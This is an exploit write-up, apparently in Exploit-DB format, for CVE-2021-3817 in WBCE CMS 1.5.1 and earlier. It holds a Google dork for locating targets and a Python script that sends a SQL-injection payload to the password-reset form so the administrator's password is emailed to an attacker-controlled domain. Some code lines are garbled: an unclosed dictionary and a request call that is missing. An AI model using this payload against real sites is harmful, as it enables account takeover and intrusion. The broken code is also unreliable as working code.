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WBCE CMS 1.5.1 – Admin Password Reset

# Exploit Title: WBCE CMS 1.5.1 - Admin Password Reset
# Google Dork: intext: "Way Better Content Editing"
# Date: 20/12/2021
# Exploit Author: citril or
# Vendor Homepage:
# Software Link:
# Version: <= 1.5.1
# Tested on: Linux
# CVE : CVE-2021-3817
# Github repo:
# Writeup:

import requests

_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from mylocalhost environment
_domain = '' # you have to catch all emails! I used Namecheap domain controller's 'catch all emails and redirect to specific email address' feature

headers = {
    'User-Agent': 'Mozilla/5.0',
    'Accept-Language': 'en-US,en;q=0.5',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Connection': 'close'

_p = "email=%27/**/or/**/user_id=1/**/or/**/'admin%40" + _domain + "&submit=justrandomvalue"

r = = _url, headers = headers, data = _p)
if r.status_code == 200:
    print('[+] Check your email, you are probably going to receive plaintext password which belongs to administrator.')
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